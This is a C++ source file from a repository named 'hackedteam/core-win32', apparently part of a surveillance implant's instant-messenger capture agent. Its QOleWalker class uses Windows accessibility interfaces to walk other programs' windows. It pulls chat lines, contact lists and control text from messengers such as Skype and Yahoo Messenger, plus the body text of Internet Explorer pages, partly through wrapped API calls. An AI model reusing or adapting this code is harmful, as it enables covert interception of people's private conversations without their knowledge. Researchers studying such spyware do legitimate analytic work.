hackedteam/core-win32

View on GitHub
HM_IMAgent/QOleWalker.cpp

Summary

Maintainability
Test Coverage
/*
* QOleWalker, OLE object parser/walker class
*
* Coded by: Quequero
* Date: 14/Mar/2008
*
*/

#include <exception>
#include <new>
#include <iostream>
using namespace std;

#include "QOleWalker.h"
#include "..\HM_SafeProcedures.h"
#include "..\common.h"

QOleWalker::QOleWalker()
{
    iAcc = tiAcc = yiAcc = NULL;
    uChildrenCount = uTi = uYi = uIa = 0;
    bInit = FALSE;

    hInst = LoadLibraryW(L"OLEACC.DLL");
    nMsg = FNC(RegisterWindowMessageW)(L"WM_HTML_GETOBJECT");
}

QOleWalker::~QOleWalker()
{
    if(hInst)
        FreeLibrary(hInst);

    tiAccRelease();
    yiAccRelease();
    iAccRelease();
    UnInit();
}

void QOleWalker::Clean()
{
    if(bInit == FALSE)
        return;

    tiAccRelease();
    yiAccRelease();
    iAccRelease();
}

// Inizializza la libreria COM, va chiamata soltanto la prima
// volta che si usa l'oggetto.
BOOL QOleWalker::Init()
{
    HRESULT hr;

    if(bInit == TRUE)
        return TRUE;

    // Inizializza la libreria COM ed una VARIANT struct
    hr = CoInitialize(NULL);
    
    // S_FALSE indica che la lib e' gia' inizializzata
    if(hr != S_OK && hr != S_FALSE){
        bInit = FALSE;
        return bInit;
    }

    VariantInit(&trVariant);

    bInit = TRUE;
    return bInit;
}

// Deinizializza la libreria COM, va chiamata solo se si vuole
// deinizializzare manualmente lo stato dell'oggetto.
void QOleWalker::UnInit()
{
    if(bInit == FALSE)
        return;

    VariantClear(&trVariant);
    CoUninitialize();

    bInit = FALSE;
}

// Prima di chiamare questa funzione, va chiamato SetHandle() con
// l'handle della finestra dalla quale si vuole ottenere l'IAccessible
BOOL QOleWalker::SetInterface()
{
    if(bInit == FALSE)
        return FALSE;

    if(hwnd == NULL)
        return FALSE;

    iAccRelease();

    if(FNC(AccessibleObjectFromWindow)(hwnd, OBJID_WINDOW, IID_IAccessible, (void **)&iAcc) != S_OK)
        return FALSE;

    uIa++; // Incrementa il reference counter di iAcc 

    iAcc->get_accChildCount(&uChildrenCount);

    if(uChildrenCount == 0)
        return FALSE;

    return TRUE;
}


INT QOleWalker::GetRole(UINT uChid) {
    VARIANT lrVariant, retVal;
    LONG lRole;

    if(bInit == FALSE || iAcc == NULL)
        return -1;

    VariantInit(&lrVariant);

    lrVariant.vt = VT_I4;
    lrVariant.lVal = uChid;

    iAcc->get_accRole(lrVariant, &retVal);
    lRole = retVal.lVal;

    VariantClear(&lrVariant);
    VariantClear(&retVal);

    return lRole;
}

PWCHAR QOleWalker::GetName() {
    //throw "Not yet implemented";
    return NULL;
}

PWCHAR QOleWalker::GetValue() {
    //throw "Not yet implemented";
    return NULL;
}

LONG QOleWalker::GetChildCount() {
    if(bInit == FALSE)
        return -1;

    return uChildrenCount;
}

HWND QOleWalker::GetHandleFromClass(PWCHAR *wClassTree) {
    HWND hwndFinal;
    UINT i = 1, len;
    PWCHAR wClassName = NULL;

    if(hwnd == NULL || wClassTree == NULL)
        return NULL;

    if((UINT)wcslen(wClassTree[0]) == 0)
        return NULL;

    hwndFinal = hwnd;

    len = (UINT)wcslen(wClassTree[0]);
    wClassName = new WCHAR[len + 1];
    ZeroMemory(wClassName, len + sizeof(WCHAR));

    // Prendi il nome della classe a partire dall'handle
    if(!FNC(GetClassNameW)(hwnd, wClassName, len + 1)){
        delete[] wClassName;
        return NULL;
    }

    // Controlla che sia uguale al primo elemento passato tramite wClassTree
    if(wcsncmp(wClassName, wClassTree[0], len)){
        delete[] wClassName;
        return NULL;
    }

    delete[] wClassName;

    // L'utente ha passato solo una classe, quindi dopo aver matchato il
    // nome torniamo con l'handle originale
    if(wClassTree[1] == 0)
        return hwnd;

    // Se la trovi, scorri l'albero e trova l'handle del controllo
    while(wClassTree[i] != 0){
        hwndFinal = FNC(FindWindowExW)(hwndFinal, NULL, wClassTree[i], NULL);

        if(hwndFinal == NULL)
            return NULL;

        i++;
    }

    return hwndFinal;
}

void QOleWalker::SetHandle(HWND hw) {
    hwnd = hw;
}

HWND QOleWalker::GetHandle()
{
    return hwnd;
}

UINT QOleWalker::GetType() {
    //throw "Not yet implemented";
    return 0;
}

void QOleWalker::SetType(UINT uType) {
    //throw "Not yet implemented";
}

// FIX - niente leak
// Ritorna in this->tiAcc la uIndex-esima interfaccia di tipo uType
BOOL QOleWalker::SetInterfaceFromType(UINT uType, UINT uIndex)
{
    long childCount, returnCount, i, j;
    UINT uCount = 0;
    VARIANT vtChild, varChild, *pArray = NULL;
    HRESULT hr;

    if(bInit == FALSE || iAcc == NULL)
        return FALSE;

    tiAccRelease();
    tiAcc = NULL;

    if(iAcc->get_accChildCount(&childCount) != S_OK || childCount == 0)
        return FALSE;

    pArray = new(std::nothrow) VARIANT[childCount];

    if(pArray == NULL)
        return FALSE;

    if(FAILED(FNC(AccessibleChildren)(iAcc, 0L, childCount, pArray, &returnCount))){
        delete pArray;
        return FALSE;
    }

    // Scorri i children
    for (i = 0; i < returnCount; i++){
        tiAccRelease();
        tiAcc = NULL;

        vtChild = pArray[i];

        if(vtChild.vt != VT_DISPATCH)
            continue;

        if((vtChild.pdispVal)->QueryInterface(IID_IAccessible, (void**)&tiAcc) != S_OK){
            tiAccRelease();
            tiAcc = NULL;
            continue;
        }

        uTi++; // Incrementa il reference counter di tiAcc

        varChild.vt = VT_I4;

        // XXX vedere se possiamo rimuovere questa linea
        //varChild.lVal = CHILDID_SELF;
    
        // XXX Nel caso di skype, quando si chiama la GrabUserList() al terzo loop
        // il server solleva un'eccezione, non fa nulla ma non ho idea del perche'.
        hr = tiAcc->get_accRole(varChild, &trVariant);

        if(hr == S_OK && trVariant.vt == VT_I4){
            if(trVariant.lVal == uType && uCount == uIndex){
                VariantClear(&varChild);

                for(j = 0; j < returnCount; ++j)
                    VariantClear(&pArray[j]);

                // XXX delete[] o delete?
                delete pArray;
                return TRUE;
            }

            if(trVariant.lVal == uType)
                uCount++;
        }

        tiAccRelease();
        tiAcc = NULL;
    }

    VariantClear(&varChild);

    for(i = 0; i < returnCount; ++i)
        VariantClear(&pArray[i]);

    // XXX delete[] o delete?
    if(pArray)
        delete pArray;

    tiAccRelease();
    tiAcc = NULL;

    return FALSE;
}
// FIX niente leak ora
BOOL QOleWalker::SetDispatchInterfaceFromType(UINT uType, UINT uIndex)
{
    long childCount, returnCount, i, j;
    UINT uCount = 0;
    VARIANT vtChild, varChild, *pArray = NULL;
    HRESULT hr;

    if(bInit == FALSE || iAcc == NULL)
        return FALSE;

    tiAccRelease();
    tiAcc = NULL;

    if(iAcc->get_accChildCount(&childCount) != S_OK || childCount == 0)
        return FALSE;

    pArray = new(std::nothrow) VARIANT[childCount];

    if(pArray == NULL)
        return FALSE;

    if(FAILED(FNC(AccessibleChildren)(iAcc, 0L, childCount, pArray, &returnCount))){
        delete pArray;
        return FALSE;
    }

    // Scorri i children
    for (i = 0; i < returnCount; i++){
        vtChild = pArray[i];

        if(vtChild.vt != VT_DISPATCH)
            continue;

        if((vtChild.pdispVal)->QueryInterface(IID_IAccessible, (void**)&tiAcc) != S_OK){
            tiAccRelease();
            tiAcc = NULL;
            continue;
        }

        uTi++; // Incrementa il reference counter di tiAcc

        varChild.vt = VT_I4;
        varChild.lVal = CHILDID_SELF;

        hr = tiAcc->get_accRole(varChild, &trVariant);

        if(hr == S_OK && trVariant.vt == VT_I4){
            if(trVariant.lVal == uType && uCount == uIndex){
                VariantClear(&varChild);

                for(j = 0; j < returnCount; ++j)
                    VariantClear(&pArray[j]);

                delete pArray;
                return TRUE;
            }

            if(trVariant.lVal == uType)
                uCount++;
        }

        tiAccRelease();
        tiAcc = NULL;
    }

    VariantClear(&varChild);

    for(i = 0; i < returnCount; ++i)
        VariantClear(&pArray[i]);

    if(pArray)
        delete pArray;
    
    tiAccRelease();
    tiAcc = NULL;

    return FALSE;
}


// All'uscita di questa funzione, il reference counter su yiAcc sara' 1
BOOL QOleWalker::SetYimRecursiveInterface()
{
    long childCount, returnCount;
    VARIANT vtChild;

    if(bInit == FALSE || iAcc == NULL)
        return FALSE;

    yiAccRelease();
    yiAcc = NULL;

    if(iAcc->get_accChildCount(&childCount) != S_OK || childCount == 0)
        return FALSE;

    // Pannello (parent) -> testo/testo/testo...
    if(childCount != 1)
        return FALSE;

    //VariantInit(&vtChild);

    if(FAILED(FNC(AccessibleChildren)(iAcc, 0L, childCount, &vtChild, &returnCount))){
        VariantClear(&vtChild);
        return FALSE;
    }

    if(vtChild.vt != VT_DISPATCH){
        VariantClear(&vtChild);
        return FALSE;
    }

    if((vtChild.pdispVal)->QueryInterface(IID_IAccessible, (void**)&yiAcc) != S_OK){
        yiAccRelease();
        yiAcc = NULL;
        VariantClear(&vtChild);
        return FALSE;
    }

    uYi++; // Incrementa il reference counter di yiAcc

    // XXX ho disabilitato questa ed ho abilitato l'ultima VariantClear()
    // verificare che vada bene
    //(vtChild.pdispVal)->Release();

    // Lista dei children
    if(yiAcc->get_accChildCount(&childCount) != S_OK || childCount == 0){
        yiAccRelease();
        yiAcc = NULL;
        VariantClear(&vtChild);  // Crasha....
        return FALSE;
    }

    // In teoria questa chiama la Release() di vtChild.pdispVal
    // perche' e' settato VT_DISPATCH ma non VT_BYREF
    VariantClear(&vtChild);

    return TRUE;
}

UINT QOleWalker::GetYimTypeCount(UINT uType)
{
    long childCount, returnCount, i;
    UINT uCount = 0;
    VARIANT vtChild, *pArray = NULL;

    if(bInit == FALSE || yiAcc == NULL)
        return FALSE;

    if(yiAcc->get_accChildCount(&childCount) != S_OK || childCount == 0)
        return FALSE;

    pArray = new(std::nothrow) VARIANT[childCount];

    if(pArray == NULL)
        return FALSE;

    //for (int i = 0; i < childCount; i++)
    //    VariantInit(&pArray[i]);

    if(FAILED(FNC(AccessibleChildren)(yiAcc, 0L, childCount, pArray, &returnCount))){
        //for (int i = 0; i < childCount; i++)
        //    VariantClear(&pArray[i]);

        delete pArray;
        return FALSE;
    }

    // Scorri i children
    for (i = 0; i < returnCount; i++){
        vtChild = pArray[i];

        if(vtChild.vt != VT_I4) // Ci interessano solo i children per YIM
            continue;

        yiAcc->get_accRole(vtChild, &trVariant);

        if(trVariant.lVal == uType)
            uCount++;

        VariantClear(&trVariant);
    }

    for(i = 0; i < returnCount; i++)
        VariantClear(&pArray[i]);

    if(pArray)
        delete pArray;

    return uCount;
}

BOOL QOleWalker::SetYimUserListInterface(HWND hw)
{
    long childCount, returnCount, i;
    VARIANT vtChild, *pArray = NULL;
    IAccessible *liAcc;

    if(FNC(AccessibleObjectFromWindow)(hw, OBJID_WINDOW, IID_IAccessible, (void **)&liAcc) != S_OK)
        return FALSE;

    if(liAcc->get_accChildCount(&childCount) != S_OK || childCount == 0)
        return FALSE;

    pArray = new(std::nothrow) VARIANT[childCount];

    if(pArray == NULL){
        liAcc->Release();
        return FALSE;
    }

    if(FAILED(FNC(AccessibleChildren)(liAcc, 0L, childCount, pArray, &returnCount))){
        delete pArray;
        liAcc->Release();
        return FALSE;
    }

    // Il terzo children contiene la lista degli utenti
    vtChild = pArray[3];
    
    if(vtChild.vt != VT_DISPATCH){
        for(i = 0; i < returnCount; ++i)
            VariantClear(&pArray[i]);

        liAcc->Release();
        delete pArray;
        return FALSE;
    }

    if((vtChild.pdispVal)->QueryInterface(IID_IAccessible, (void**)&yiAcc) != S_OK){
        for(i = 0; i < returnCount; ++i)
            VariantClear(&pArray[i]);

        yiAcc = NULL;
        liAcc->Release();
        delete pArray;
        return FALSE;
    }

    uYi++; // Incrementa il reference counter di yiAcc

    yiAcc->get_accChildCount(&childCount);

    if(liAcc)
        liAcc->Release();

    // Lista dei children
    if(yiAcc->get_accChildCount(&childCount) != S_OK || childCount == 0){
        for(i = 0; i < returnCount; ++i)
            VariantClear(&pArray[i]);

        yiAccRelease();
        delete pArray;
        return FALSE;
    }

    for(i = 0; i < returnCount; ++i)
        VariantClear(&pArray[i]);

    delete pArray;
    return TRUE;
}

// Torna il numero di interfacce Dispatch di tipo uType presenti
// nel container.
UINT QOleWalker::GetDispatchTypeCount(UINT uType)
{
    long childCount, returnCount, i;
    UINT uCount = 0;
    VARIANT lrVariant, vtChild, *pArray = NULL;

    if(bInit == FALSE || iAcc == NULL)
        return FALSE;

    lrVariant.vt = VT_I4;
    lrVariant.lVal = CHILDID_SELF;

    tiAccRelease();
    tiAcc = NULL;

    if(iAcc->get_accChildCount(&childCount) != S_OK || childCount == 0)
        return FALSE;

    pArray = new(std::nothrow) VARIANT[childCount];

    if(pArray == NULL)
        return FALSE;

    if(FAILED(FNC(AccessibleChildren)(iAcc, 0L, childCount, pArray, &returnCount))){
        delete pArray;
        return FALSE;
    }

    // Scorri i children
    for (i = 0; i < returnCount; i++){
        vtChild = pArray[i];

        if(vtChild.vt != VT_DISPATCH)
            continue;

        if((vtChild.pdispVal)->QueryInterface(IID_IAccessible, (void**)&tiAcc) != S_OK){
            tiAccRelease();
            tiAcc = NULL;
            continue;
        }

        uTi++; // Incrementa il reference counter di tiAcc

        tiAcc->get_accRole(lrVariant, &trVariant);

        if(trVariant.lVal == uType)
            uCount++;

        VariantClear(&trVariant);
        tiAccRelease();
        tiAcc = NULL;
    }

    // XXX da testare, dovrebbe essere stabile comunque
    // ed in teoria dovrebbe chiamare la Release() di eventuali VT_DISPATCH
    for(i = 0; i < returnCount; i++)
        VariantClear(&pArray[i]);

    __try {
        if(pArray)
            delete[] pArray;
    }
    __except(EXCEPTION_EXECUTE_HANDLER) {
        pArray = NULL;
    }

    tiAccRelease();
    tiAcc = NULL;

    return uCount;
}

// Torna il numero di controlli di tipo uType puntati da tiAcc
UINT QOleWalker::GetTypeCountFromTi(UINT uType)
{
    long childCount, returnCount, i;
    UINT uCount = 0;
    VARIANT vtChild, *pArray = NULL;

    if(bInit == FALSE || tiAcc == NULL)
        return FALSE;

    if(tiAcc->get_accChildCount(&childCount) != S_OK || childCount == 0)
        return FALSE;

    pArray = new(std::nothrow) VARIANT[childCount];

    if(pArray == NULL)
        return FALSE;

    //for (int i = 0; i < childCount; i++)
    //    VariantInit(&pArray[i]);

    if(FAILED(FNC(AccessibleChildren)(tiAcc, 0L, childCount, pArray, &returnCount))){
        //for (int i = 0; i < childCount; i++)
        //    VariantClear(&pArray[i]);

        delete pArray;
        return FALSE;
    }

    // Scorri i children
    for (i = 0; i < returnCount; i++){
        vtChild = pArray[i];

        if(vtChild.vt != VT_I4) // Ci interessano solo i children per YIM
            continue;

        tiAcc->get_accRole(vtChild, &trVariant);

        if(trVariant.lVal == uType)
            uCount++;

        VariantClear(&trVariant);
    }

    for(i = 0; i < returnCount; ++i)
        VariantClear(&pArray[i]);

    if(pArray)
        delete pArray;

    return uCount;
}

// Torna il numero di controlli di tipo uType puntati da yiAcc
UINT QOleWalker::GetTypeCountFromYi(UINT uType)
{
    long childCount, returnCount, i;
    UINT uCount = 0;
    VARIANT vtChild, *pArray = NULL;
    IAccessible *iWalk = NULL;

    if(bInit == FALSE || yiAcc == NULL)
        return FALSE;

    if(yiAcc->get_accChildCount(&childCount) != S_OK || childCount == 0)
        return FALSE;

    pArray = new(std::nothrow) VARIANT[childCount];

    if(pArray == NULL)
        return FALSE;

    //for (int i = 0; i < childCount; i++)
    //    VariantInit(&pArray[i]);

    if(FAILED(FNC(AccessibleChildren)(yiAcc, 0L, childCount, pArray, &returnCount))){
        //for (int i = 0; i < childCount; i++)
        //    VariantClear(&pArray[i]);

        delete pArray;
        return FALSE;
    }

    // Scorri i children
    for (i = 0; i < returnCount; i++){
        vtChild = pArray[i];

        if(vtChild.vt == VT_DISPATCH){
            if((vtChild.pdispVal)->QueryInterface(IID_IAccessible, (void**)&iWalk) != S_OK){
                if(iWalk)
                    iWalk->Release();

                iWalk = NULL;
                continue;
            }

            vtChild.lVal = CHILDID_SELF;
            iWalk->get_accRole(vtChild, &trVariant);
            iWalk->get_accChildCount(&childCount);

            if(trVariant.lVal == uType)
                uCount++;

            iWalk->Release();
            iWalk = NULL;

            VariantClear(&trVariant);
            continue;
        }

        if(vtChild.vt != VT_I4) // Ci interessano solo i children per YIM
            continue;

        yiAcc->get_accRole(vtChild, &trVariant);

        if(trVariant.lVal == uType)
            uCount++;

        VariantClear(&trVariant);
    }

    for(i = 0; i < returnCount; i++)
        VariantClear(&pArray[i]);

    if(pArray)
        delete pArray;

    return uCount;
}

// Effettua il conteggio degli elementi di tipo uType in maniera ricorsiva.
// Questo metodo va chiamato con NULL come primo parametro, la funzione
// inizializza internamente il membro pAcc prendendolo dall'attributo yiAcc
// che deve esser stato settato in precedenza tramite SetYimRecursiveInterface()
UINT QOleWalker::RecursiveTypeCountFromYi(IAccessible* pAcc, UINT uType)
{
    HRESULT hr;
    LONG childCount, returnCount;
    IAccessible *iWalk;

    if(bInit == FALSE || yiAcc == NULL)
        return FALSE;

    if(pAcc == NULL){
        uCounter = 0;
        iWalk = yiAcc;
    }else
        iWalk = pAcc;

    hr = iWalk->get_accChildCount(&childCount);

    if(FAILED(hr) || childCount == 0)
        return 0;

    VARIANT* pArray = new(std::nothrow) VARIANT[childCount];

    if(pArray == NULL)
        return 0;

    hr = FNC(AccessibleChildren)(iWalk, 0L, childCount, pArray, &returnCount);

    if(FAILED(hr)){
        delete pArray;
        return 0;
    }

    // Iterate through children.
    for(int x = 0; x < returnCount; x++){
        VARIANT vtChild = pArray[x];

        // If it's an accessible object, get the IAccessible, and recurse.
        if (vtChild.vt == VT_DISPATCH)
        {
            IDispatch* pDisp = vtChild.pdispVal;
            IAccessible* pChild = NULL;

            hr = pDisp->QueryInterface(IID_IAccessible, (void**) &pChild);

            if(hr == S_OK){
                //pChild->get_accRole(vtChild, &trVariant);

                //if(trVariant.lVal == uType)
                //    uCounter++;

                RecursiveTypeCountFromYi(pChild, uType);
                pChild->Release();
            }

            // XXX disabilito questa in funzione della VariantClear() in fondo
            //pDisp->Release();
        }
        // Else it's a child element so we have to call accNavigate on the parent,
        //   and we don't recurse since child elements can't have children.
        else
        {
            iWalk->get_accRole(vtChild, &trVariant);

            if(trVariant.lVal == uType)
                uCounter++;

            VariantClear(&trVariant);
        }
    }

    for(int i = 0; i < returnCount; i++)
        VariantClear(&pArray[i]);

    if(pArray)
        delete pArray;

    return uCounter;
}

// Torna il numero di children nella IAccessible temporanea
LONG QOleWalker::GetInterfaceChildrenCount()
{
    LONG lCount;

    if(bInit == FALSE || tiAcc == NULL)
        return -1;

    if(tiAcc->get_accChildCount(&lCount) != S_OK)
        return -1;

    return lCount;
}

// Prende la riga uIndex-esima dal container identificato da this->tiAcc
BOOL QOleWalker::GetLineFromContainer(BSTR *bLine, UINT uIndex)
{
    VARIANT vtChild;

    vtChild.vt = VT_I4;
    vtChild.lVal = uIndex;

    if(bInit == FALSE || tiAcc == NULL)
        return FALSE;

    if(tiAcc->get_accName(vtChild, bLine) != S_OK)
        return FALSE;

    return TRUE;
}

// Torna il parametro Name del controllo con ID uIndex di tipo uType (se esiste)
BOOL QOleWalker::GetSpecificLineFromContainer(BSTR *bLine, UINT uIndex, UINT uType)
{
    VARIANT vtChild, trVariant;
    LONG childCount, i;
    UINT uCount = 0;

    vtChild.vt = VT_I4;

    if(bInit == FALSE || tiAcc == NULL)
        return FALSE;

    tiAcc->get_accChildCount(&childCount);

    for(i = 0; i <= childCount; i++){
        vtChild.lVal = i;
        tiAcc->get_accRole(vtChild, &trVariant);

        if(uCount == uIndex && trVariant.lVal == uType){
            if(tiAcc->get_accName(vtChild, bLine) == S_OK)
                return TRUE;
            else
                return FALSE;
        }

        if(trVariant.lVal == uType)
            uCount++;
    }

    return FALSE;
}

BOOL QOleWalker::GetYimSpecificLineFromContainer(IAccessible* pAcc, BSTR *bLine, UINT uIndex, UINT uType)
{
    HRESULT hr;
    LONG childCount, returnCount;
    IAccessible *iWalk;

    if(bInit == FALSE || yiAcc == NULL)
        return FALSE;

    if(pAcc == NULL){
        uCounter = 0;
        iWalk = yiAcc;
    }else
        iWalk = pAcc;

    hr = iWalk->get_accChildCount(&childCount);

    if(FAILED(hr) || childCount == 0)
        return FALSE;

    VARIANT* pArray = new(std::nothrow) VARIANT[childCount];

    if(pArray == NULL)
        return FALSE;

    hr = FNC(AccessibleChildren)(iWalk, 0L, childCount, pArray, &returnCount);

    if(FAILED(hr)){
        delete pArray;
        return FALSE;
    }

    // Iterate through children.
    for(int x = 0; x < returnCount; x++){
        VARIANT vtChild = pArray[x];
        // If it's an accessible object, get the IAccessible, and recurse.
        if(vtChild.vt == VT_DISPATCH){
            IDispatch* pDisp = vtChild.pdispVal;
            IAccessible* pChild = NULL;

            hr = pDisp->QueryInterface(IID_IAccessible, (void**) &pChild);

            if(hr == S_OK){
                pChild->get_accRole(vtChild, &trVariant);

                GetYimSpecificLineFromContainer(pChild, bLine, uIndex, uType);
                pChild->Release();
            }

            // XXX disabilito questa in funzione della VariantClear() in fondo
            //pDisp->Release();
        }
        // Else it's a child element so we have to call accNavigate on the parent,
        //   and we don't recurse since child elements can't have children.
        else
        {

            iWalk->get_accRole(vtChild, &trVariant);

            if(*bLine != NULL && uCounter != uIndex)
                SAFE_SYSFREESTR(*bLine);

            // Salta le tabelle
            if(trVariant.lVal == ROLE_SYSTEM_TABLE){
                VariantClear(&trVariant);
                break;
            }

            if(uCounter == uIndex && trVariant.lVal == uType){
                if(iWalk->get_accName(vtChild, bLine) == S_OK){
                    uCounter++;
                    VariantClear(&trVariant);
                    break;
                }
            }

            if(trVariant.lVal == uType)
                uCounter++;

            VariantClear(&trVariant);
        }
    }

    for(int i = 0; i < returnCount; i++)
        VariantClear(&pArray[i]);

    if(pArray)
        delete pArray;

    return TRUE;
}

// Torna il parametro Name dell'uIndex-esimo controllo di tipo uType (se esiste)
BOOL QOleWalker::GetLineFromContainer(BSTR *bLine, UINT uIndex, UINT uType)
{
    VARIANT vtChild, trVariant;
    UINT uCount = 0;

    vtChild.vt = VT_I4;
    vtChild.lVal = uIndex;

    if(bInit == FALSE || tiAcc == NULL)
        return FALSE;

    tiAcc->get_accRole(vtChild, &trVariant);

    if(trVariant.lVal != uType)
        return FALSE;

    if(tiAcc->get_accName(vtChild, bLine) != S_OK)
        return FALSE;

    VariantClear(&trVariant);
    return TRUE;
}

BOOL QOleWalker::GetValueFromContainer(BSTR *bLine, UINT uIndex)
{
    VARIANT vtChild;

    vtChild.vt = VT_I4;
    vtChild.lVal = uIndex;

    if(bInit == FALSE || tiAcc == NULL)
        return FALSE;

    if(tiAcc->get_accValue(vtChild, bLine) != S_OK)
        return FALSE;

    VariantClear(&vtChild);
    return TRUE;
}

BOOL QOleWalker::GetValueFromIEContainer(BSTR *bLine)
{
    CComPtr<IHTMLDocument2> spDoc;
    LRESULT lRes;
    HRESULT hr;

    if(hInst == NULL || nMsg == 0)
        return FALSE;

    HM_SafeSendMessageTimeoutW(hwnd, nMsg, 0L, 0L, SMTO_ABORTIFHUNG, 1000, (DWORD*)&lRes);

    LPFNOBJECTFROMLRESULT pfObjectFromLresult = (LPFNOBJECTFROMLRESULT)GetProcAddress(hInst, "ObjectFromLresult");

    if(pfObjectFromLresult != NULL){
        hr = (*pfObjectFromLresult)(lRes, IID_IHTMLDocument2, 0, (void**)&spDoc);

        if(SUCCEEDED(hr)){
            CComPtr<IHTMLElement> pHTMLElement; 
            hr=spDoc->get_body(&pHTMLElement);
            pHTMLElement->get_innerText(bLine);
            return TRUE;
        }
    }

    return FALSE;
}


BOOL QOleWalker::GetDescriptionFromContainer(BSTR *bLine, UINT uIndex)
{
    VARIANT vtChild;

    vtChild.vt = VT_I4;
    vtChild.lVal = uIndex;

    if(bInit == FALSE || tiAcc == NULL)
        return FALSE;

    if(tiAcc->get_accDescription(vtChild, bLine) != S_OK)
        return FALSE;

    VariantClear(&vtChild);
    return TRUE;
}

void QOleWalker::tiAccRelease()
{
    if(tiAcc && uTi){
        while(uTi){
            tiAcc->Release();
            uTi--;
        }
            
        tiAcc = NULL;
    }

    tiAcc = NULL;
}

void QOleWalker::yiAccRelease()
{
    if(yiAcc && uYi){
        while(uYi){
            yiAcc->Release();
            uYi--;
        }

        yiAcc = NULL;
    }

    yiAcc = NULL;
}

void QOleWalker::iAccRelease()
{
    if(iAcc && uIa){
        while(uIa){
            iAcc->Release();
            uIa--;
        }

        iAcc = NULL;
    }

    iAcc = NULL;
}